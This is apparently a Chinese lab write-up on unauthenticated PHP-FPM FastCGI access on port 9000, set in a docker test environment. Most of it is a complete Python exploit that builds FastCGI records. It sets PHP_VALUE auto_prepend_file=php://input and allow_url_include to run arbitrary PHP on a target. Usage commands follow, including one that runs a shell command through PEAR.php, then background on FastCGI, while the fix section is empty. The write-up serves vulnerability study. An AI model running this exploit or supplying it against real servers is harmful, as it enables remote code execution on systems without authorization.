PHP-FPM Fastcgi 未授权访问漏洞

PHP-FPM Fastcgi 未授权访问漏洞

漏洞描述

1.漏洞编号:

2.影响版本:

3.漏洞产生原因:

参考链接:

https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

 

启动环境:docker-compose up -d

vulnIP:192.168.1.182

 

漏洞发现

关注PHP-FPM Fastcgi的版本

 

 

漏洞利用

Exphttps://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

import socket

import random

import argparse

import sys

from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False

def bchr(i):

    if PY2:

        return force_bytes(chr(i))

    else:

        return bytes([i])

 

def bord(c):

    if isinstance(c, int):

        return c

    else:

        return ord(c)

 

def force_bytes(s):

    if isinstance(s, bytes):

        return s

    else:

        return s.encode('utf-8', 'strict')

 

def force_text(s):

    if issubclass(type(s), str):

        return s

    if isinstance(s, bytes):

        s = str(s, 'utf-8', 'strict')

    else:

        s = str(s)

    return s

 

 

class FastCGIClient:

    """A Fast-CGI Client for Python"""

 

    # private

    __FCGI_VERSION = 1

 

    __FCGI_ROLE_RESPONDER = 1

    __FCGI_ROLE_AUTHORIZER = 2

    __FCGI_ROLE_FILTER = 3

 

    __FCGI_TYPE_BEGIN = 1

    __FCGI_TYPE_ABORT = 2

    __FCGI_TYPE_END = 3

    __FCGI_TYPE_PARAMS = 4

    __FCGI_TYPE_STDIN = 5

    __FCGI_TYPE_STDOUT = 6

    __FCGI_TYPE_STDERR = 7

    __FCGI_TYPE_DATA = 8

    __FCGI_TYPE_GETVALUES = 9

    __FCGI_TYPE_GETVALUES_RESULT = 10

    __FCGI_TYPE_UNKOWNTYPE = 11

 

    __FCGI_HEADER_SIZE = 8

 

    # request state

    FCGI_STATE_SEND = 1

    FCGI_STATE_ERROR = 2

    FCGI_STATE_SUCCESS = 3

 

    def __init__(self, host, port, timeout, keepalive):

        self.host = host

        self.port = port

        self.timeout = timeout

        if keepalive:

            self.keepalive = 1

        else:

            self.keepalive = 0

        self.sock = None

        self.requests = dict()

 

    def __connect(self):

        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        self.sock.settimeout(self.timeout)

        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

        # if self.keepalive:

        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)

        # else:

        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)

        try:

            self.sock.connect((self.host, int(self.port)))

        except socket.error as msg:

            self.sock.close()

            self.sock = None

            print(repr(msg))

            return False

        return True

 

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):

        length = len(content)

        buf = bchr(FastCGIClient.__FCGI_VERSION) \

               + bchr(fcgi_type) \

               + bchr((requestid >> 8) & 0xFF) \

               + bchr(requestid & 0xFF) \

               + bchr((length >> 8) & 0xFF) \

               + bchr(length & 0xFF) \

               + bchr(0) \

               + bchr(0) \

               + content

        return buf

 

    def __encodeNameValueParams(self, name, value):

        nLen = len(name)

        vLen = len(value)

        record = b''

        if nLen < 128:

            record += bchr(nLen)

        else:

            record += bchr((nLen >> 24) | 0x80) \

                      + bchr((nLen >> 16) & 0xFF) \

                      + bchr((nLen >> 8) & 0xFF) \

                      + bchr(nLen & 0xFF)

        if vLen < 128:

            record += bchr(vLen)

        else:

            record += bchr((vLen >> 24) | 0x80) \

                      + bchr((vLen >> 16) & 0xFF) \

                      + bchr((vLen >> 8) & 0xFF) \

                      + bchr(vLen & 0xFF)

        return record + name + value

 

    def __decodeFastCGIHeader(self, stream):

        header = dict()

        header['version'] = bord(stream[0])

        header['type'] = bord(stream[1])

        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])

        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])

        header['paddingLength'] = bord(stream[6])

        header['reserved'] = bord(stream[7])

        return header

 

    def __decodeFastCGIRecord(self, buffer):

        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

 

        if not header:

            return False

        else:

            record = self.__decodeFastCGIHeader(header)

            record['content'] = b''

            

            if 'contentLength' in record.keys():

                contentLength = int(record['contentLength'])

                record['content'] += buffer.read(contentLength)

            if 'paddingLength' in record.keys():

                skiped = buffer.read(int(record['paddingLength']))

            return record

 

    def request(self, nameValuePairs={}, post=''):

        if not self.__connect():

            print('connect failure! please check your fasctcgi-server !!')

            return

 

        requestId = random.randint(1, (1 << 16) - 1)

        self.requests[requestId] = dict()

        request = b""

        beginFCGIRecordContent = bchr(0) \

                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \

                                 + bchr(self.keepalive) \

                                 + bchr(0) * 5

        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,

                                              beginFCGIRecordContent, requestId)

        paramsRecord = b''

        if nameValuePairs:

            for (name, value) in nameValuePairs.items():

                name = force_bytes(name)

                value = force_bytes(value)

                paramsRecord += self.__encodeNameValueParams(name, value)

 

        if paramsRecord:

            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)

        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

 

        if post:

            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)

        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

 

        self.sock.send(request)

        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND

        self.requests[requestId]['response'] = b''

        return self.__waitForResponse(requestId)

 

    def __waitForResponse(self, requestId):

        data = b''

        while True:

            buf = self.sock.recv(512)

            if not len(buf):

                break

            data += buf

 

        data = BytesIO(data)

        while True:

            response = self.__decodeFastCGIRecord(data)

            if not response:

                break

            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \

                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:

                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:

                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR

                if requestId == int(response['requestId']):

                    self.requests[requestId]['response'] += response['content']

            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:

                self.requests[requestId]

        return self.requests[requestId]['response']

 

    def __repr__(self):

        return "fastcgi connect host:{} port:{}".format(self.host, self.port)

 

 

if __name__ == '__main__':

    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')

    parser.add_argument('host', help='Target host, such as 127.0.0.1')

    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')

    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')

    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

 

    args = parser.parse_args()

 

    client = FastCGIClient(args.host, args.port, 3, 0)

    params = dict()

    documentRoot = "/"

    uri = args.file

    content = args.code

    params = {

        'GATEWAY_INTERFACE': 'FastCGI/1.0',

        'REQUEST_METHOD': 'POST',

        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),

        'SCRIPT_NAME': uri,

        'QUERY_STRING': '',

        'REQUEST_URI': uri,

        'DOCUMENT_ROOT': documentRoot,

        'SERVER_SOFTWARE': 'php/fcgiclient',

        'REMOTE_ADDR': '127.0.0.1',

        'REMOTE_PORT': '9985',

        'SERVER_ADDR': '127.0.0.1',

        'SERVER_PORT': '80',

        'SERVER_NAME': "localhost",

        'SERVER_PROTOCOL': 'HTTP/1.1',

        'CONTENT_TYPE': 'application/text',

        'CONTENT_LENGTH': "%d" % len(content),

        'PHP_VALUE': 'auto_prepend_file = php://input',

        'PHP_ADMIN_VALUE': 'allow_url_include = On'

    }

    response = client.request(params, content)

print(force_text(response))

EXP代码保存到攻击机上,后缀名为.py

 由于访问非*.PHP文件,所以返回结果403

PHP-FPM工作时,默认监听9000端口,用于接收Web服务器发送过来的FastCGI协议数据。而当我们能够通过任意方式访问到PHP-FPM的9000端口时,就可以构造数据包通过给SCRIPT_FILENAME赋值,达到执行任意PHP文件的目的了。但是由于FPM某版本后配置文件添加了security.limit_extensions选项,用于指定解析文件的后缀,并且默认值为.php,这样让我们无法通过任意文件包含达到代码执行的效果。

 

进入.py文件所在目录,执行python fpm.py your-ip /etc/passwd命令

 

我们需要指定一个存在的PHP文件,否则fastcgi也无法正常执行下去。但是在实际情况下我们可能不知道站点的绝对路径,不过安装php时会生成一些php文件,这些文件的路径是我们可能能够预料到的。

使用命令执行一个默认存在的php文件

python fpm.py your-ip /usr/local/lib/php/PEAR.php

 

让其在执行PEAR.php文件之前包含某个文件达到命令执行的命令

python fpm.py your-ip /usr/local/lib/php/PEAR.php -c '<?php echo `pwd`; ?>'

执行结果:

 

 

 

 

问题汇总

 

 

修复方案

 

 

基础知识

Fastcgi

Fastcgi是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道。HTTP协议是浏览器和服务器中间件进行数据交换的协议,浏览器将HTTP头和HTTP体用某个规则组装成数据包,以TCP的方式发送到服务器中间件,服务器中间件按照规则将数据包解码,并按要求拿到用户需要的数据,再以HTTP协议的规则打包返回给服务器。类比HTTP协议来说,fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。

PHP-FPM

PHP-FPM是一个fastcgi协议解析器,Nginx等服务器中间件将用户请求按照fastcgi的规则打包好传给FPM。FPM按照fastcgi的协议将TCP流解析成真正的数据。PHP-FPM默认监听9000端口,如果这个端口暴露在公网,则我们可以自己构造fastcgi协议,和fpm进行通信。

 2021-02-21 14:07:03

posted @ 2021-02-21 14:07  toby123  阅读(556)  评论(0编辑  收藏  举报